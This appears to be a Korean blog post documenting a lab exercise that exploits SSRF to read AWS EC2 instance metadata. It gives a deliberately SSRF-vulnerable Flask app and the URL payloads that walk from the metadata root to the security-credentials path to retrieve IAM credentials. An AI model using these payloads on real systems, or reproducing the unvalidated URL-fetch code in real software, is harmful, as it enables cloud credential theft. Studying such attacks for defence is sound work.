Home AWS Instance Meta-data SSRF
Post
Cancel

AWS Instance Meta-data SSRF

AWS-SSRF를 읽고 실습해봅시다.
RCE 까진 안해봤고 SSRF 까지만 따라 해봤습니다.

Get AWS EC2 Meta-data

AWS의 EC2 Instance Meta-data는 실행 중인 Instance를 구성 또는 관리하는 데 사용될 수 있는 Instance 관련 데이터입니다.

대부분의 AWS EC2 Instance Meta-data는 http://169.254.169.254를 통해 접근할 수 있습니다. -> 여기에는 IP 주소, 보안 그룹 이름 등과 같은 Instance에 대한 유용한 정보가 포함됩니다.

EC2 instance에 IAM Role을 할당되게 된다면, 이 Role이 갖게 되는 권한을 Instance Meta-data를 통해 획득할 수 있습니다.

Pratice

Example Code

예제 코드는 단순히 url 변수를 받아 urlopen으로 url을 읽어 그결과를 보여줍니다.
SSRF에 취약합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask, request
import urllib
from urllib import parse

app = Flask(__name__)

@app.route("/", methods=["GET"])
def route():
    url = request.args.get("url")

    if url:
        try:
            req = urllib.request.Request(url)
            with urllib.request.urlopen(req) as response:
                data = response.read()
        except:
            return "Error"
        return data
    else:
        return "Require URL parameter."

app.run(host='0.0.0.0', port=5001)

Access Meta-data

SSRF 공격이 가능할 때 url=http://169.254.169.254/latest/meta-data 을 넣게 되면 아래와 같이 meta-data에 접근할 수 있습니다. meta-data

만약 iam 디렉토리가 없다면, Instance에 IAM Role을 할당했는지 확인해야합니다.

Check Assigned IAM Role

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ 를 통해 IAM Role 확인이 가능합니다.

IAM-ROLE

Obtain IAM Credentials

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/test131_web_iam 를 통해 IAM 자격증명을 얻을 수 있습니다.

get-credentials

Reference

  • https://core-research-team.github.io/2022-11-01/AWS-Instance-Meta-data-SSRF-to-RCE